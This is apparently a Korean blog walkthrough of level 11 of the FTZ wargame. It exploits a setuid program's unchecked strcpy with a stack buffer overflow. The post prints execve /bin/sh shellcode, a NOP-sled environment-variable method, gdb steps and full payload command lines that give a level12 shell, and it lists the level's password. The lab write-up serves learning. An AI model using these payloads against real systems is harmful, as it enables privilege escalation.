ID : level11
PW : what!@#$?
1.
로그인 후 hint 파일을 읽어주자. 못 보던 attackme 파일도 있네.
코드를 분석해보자.
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256]; //str배열의 크기를 256바이트로 지정
setreuid( 3092, 3092 ); //level12 권한
strcpy( str, argv[1] ); //argv[1]값을 str에 복사
printf( str ); //str 출력
}
strcpy 함수는 NULL 문자 전까지의 문자열을 복사하는 함수이다.
strcpy 함수에는 취약점이 존재하는데, 문자열의 길이를 검사하지 않기 때문에 버퍼의 크기보다 더 큰 문자열이 들어갈 경우 오버플로우가 발생한다.
그러므로 str배열을 넘치게 만들어 RET값을 변조하면 쉘을 딸 수 있을 것이다!
2.
RET 주소를 알아보기 위해 attackme를 디버깅 하자.
원본 attackme에는 gdb권한이 없으므로 tmp파일에 복사해서 디버깅 하도록 하자!
복사한 attackme를 가지고 디버깅을 해보았다. disas main은 main함수의 스택을 보여주라는 뜻이다.
여기서 중요하게 봐야할 것은 <main+3>부분의 0x108이다. 맨 위의 push와 mov는 함수의 프롤로그(ret, sfp)라고 생각하면 된다.
<main+0> : ebp를 넣어준다. (%는 register란 의미.)
<main+1> : esp를 ebp위치로 옮겨준다.
<main+3> : esp에게 0x108만큼 공간을 할당해주었다.
0x108은 10진수로 264이다. str배열이 256바이트이기 때문에 나머지 8바이트(264-256)는 dummy이다.
그렇다면 스택구조가 이렇게 될것이다.
그럼 우리는 strcpy의 취약점을 이용해 str을 넘치게 하여, str,dummy,SFP에 의미없는 값을 채워주고, RET에 shellcode주소를 넣어준다면 !
최종적으로 shellcode의 주소를 실행하여 쉘을 따게 될 것이다.
💡 Shell Code란? 왜 사용해야 하지?
- shell code는 /bin/bash, /bin/sh와 같은 쉘을 실행시켜주는 코드이다.
이 코드는 보통 c언어로 이루어져 있고, 이것을 기계어로 변환시켜 최종적으로 결과물을 16진수의 코드로 만든 것 ! - attackme 프로그램은 level12의 권한의 setuid가 설정되어 있다.
이 프로그램이 실행되는 동안에 my-pass나 /bin/bash 같은 명령어를 실행시킨다면, level12의 비밀번호를 획득 할 수 있을 것이다.
따라서 /bin/bash를 메모리 상에서 실행시키기 위해서는 shell code를 사용해야 한다. - 여러가지 쉘코드가 있는데, 여기서는 25바이트 쉘코드를 사용할 것이다.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
str[256] + dummy[8] + SFP[4] = 268이므로
268은 아무렇게나 채워주고 RET에는 쉘코드의 주소를 넣으면 된다.
3.
그럼 쉘코드의 주소를 찾아보자. 나는 환경변수를 이용하여 쉘코드의 주소를 얻을 것이다.
💡 환경변수란?
- OS가 필요한 정보를 메모리에 등록해 놓고 필요할 때마다 참조하는 영역을 말한다.
그렇다면 우리가 쉘코드를 환경변수에 저장해 놓고, 그 저장된 메모리 주소를 RET에 넣어주면 그 환경변수 즉 쉘코드가 실행 될 것이다!!
📌 환경변수 등록하는 방법
export [환경변수이름]=python -c 'print "[쉘코드]"' (주의: =사이에 공백X)
하지만 나는 "\x90"을 1000개 추가하고 그 다음에 쉘코드를 넣어줬다.
그 이유는 파일이름에 따라서 환경변수의 주소값이 조금씩 오차가 있기 때문에, 오차를 없애기 위해 \x90을 추가로 넣어주었다.
\x90은 어셈블리어에서 NOP(No-Operation)를 뜻한다. 말 그대로 아무것도 안하는 코드이다.
그렇기 때문에 아무것도 안하는 코드를 여러번 넣어주며 오차를 없애는 것이다.(NOP Sled)
💡NOP Sled란?
- NOP을 여러번 넣어주면 컴퓨터가 NOP를 타고 썰매처럼 슈우우웅 하며 내려가다가 그 다음의 코드를 의심없이 실행하는 것을 뜻한다.
이렇게 환경변수를 등록했다! 이제 이 환경변수가 등록된 주소를 알려면 코드를 작성해 줘야 한다.
vi 편집기로 코드를 짜야한다.
getenv함수가 환경변수의 주소를 가져오는 함수이다. (tmp폴더에 만들어줌 - 아무거나 다 써도 되는 공용화장실 느낌)
컴파일 해준다. (getenv.c 텍스트파일을 getenv라는 실행파일로 만들겠다는 뜻)
실행해주면 쉘코드를 저장한 환경변수의 주소가 나온다!!
4.
그럼 이제 268 + bffffb1e를 해주면 되겠다!
268바이트는 \x90으로 채워주고 bffffb1e를 인자로 넣어주면 된다.
268바이트동안 아무것도 안 하겠다는 뜻이고 그 바로 다음에 위치한 RET에 환경변수 주소를 넣어주는 것이다.
여기서 우리는 bffffb1e 값을 넣을 때, 리틀앤디언 방식(컴퓨터가 이렇게 해야 이해해요..) 으로 넣어줘야 하기 때문에
뒤에서부터 두개씩 끊어서 \x1e\xfb\xff\xbf 이렇게 적어줘야 한다.
페이로드
./attackme python -c 'print "\\x90"*268+"\\x1e\\xfb\\xff\\xbf"'
원본 attackme에 인자를 넣어야 하기 때문에 level11디렉토리로 이동하여 입력했다.
이로써 쉘을 땄다.
정리
이 문제를 푸는 방법은 여러가지가 있다. <쉘코드를 실행해줘야 함>
1. ASLR의 특성을 이용한 방법 (BOF 취약점)
- str, dummy, sfp에 쉘코드를 넣고, ret에 str시작주소를 넣어준다.
- 그러면 ret가 리턴주소이기 때문에 ret에 도달하면 str로 이동해 쉘코를 만나기 때문에 쉘을 딸 수 있다.
처음에는 이 방법을 시도했다. 그런데 ASLR이라고 매번 주소를 랜덤하게 만드는 기법이 걸려 있어서 ret주소를 맞추려면 여러번 노가다를 하는 수 밖에 없었다..
> ASLR특성을 이용해 푸는 방법
우선 str배열의 시작주소를 알아야 shellcode를 넣을 것 아닌가!
디버깅을 하고, strcpy취약점이 발생한 <main+53>이나 <main+56>부분에 bp를 걸어준다.
bp란, break point라고 그 부분에서 프로그램을 멈추게 하는 것이다.
*bp main+53
그 다음, str시작주소를 알기 위해서!! A같은 아무 문자나 여러개 인자로 넣어준다.
프로그램을 멈췄기 때문에 r(running)으로 실행시켜 주며 파이썬으로 넣어준다.
r python -c 'print "A"*100'
x/100x $esp 를 입력해주면 멈춘 부분부터 100뒤에 부분까지의 메모리??가 나올 것이다.(추후 수정 예정) A는 아스키코드로 41이기 때문에 어느 순간부터 41로 채워진 구간이 있을 것이다. 그 곳이 str의 시작주소이다.
하지만! ASLR 때문에 주소가 막 바뀐다. 그러므로 끝에 주소를 조금씩 바꿔가며..... 계속..... 노가다로....... 주소를 알아 맞추면 된다ㅎㅎ
페이로드 (원본 attackme에 적용 해야겠지??)
./attackme python -c 'print "\\x90"*100 +"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x89\\xc2\\xb0\\x0b\\xcd\\x80" + "\\x90"*43 + "\\xbf\\xff\\x00\\x00"'
(NOP 100byte + 쉘코드 25byte + NOP 43byte + str시작주소)
2. 환경변수를 이용한 방법 (BOF 취약점)
- 위에 기술한 방법! 특정한 환경변수에 쉘코드의 주소를 넣기 때문에 주소가 바뀔 염려는 하지 않아도 된다. str, dummy, sfp에 NOP를 넣고 ret에 쉘코드가 저장된 환경변수의 주소를 넣어준다.
3. 포맷스트링 버그 이용 (포맷스트링 취약점)
- 아직 잘 모름. 20번 풀고 돌아와야지 ~
(위에 1,2는 BOF취약점 이용한 것, 3은 포맷스트링 취약점 이용한 것임)
참고한 링크: https://wlgns595919.tistory.com/7
(2020.02에 작성한 글을 가져왔습니다.)
'Pwnable > FTZ' 카테고리의 다른 글
[FTZ] level 13 풀이 <BOF-strcpy+i> (0) | 2024.01.18 |
---|---|
[FTZ] level 12 풀이 <BOF-gets> (0) | 2024.01.18 |
[FTZ] level 10 풀이 <공유메모리> (0) | 2024.01.18 |
[FTZ] level 9 풀이 <BOF> (0) | 2024.01.18 |
[FTZ] level 8 풀이 <John the Ripper> (0) | 2024.01.18 |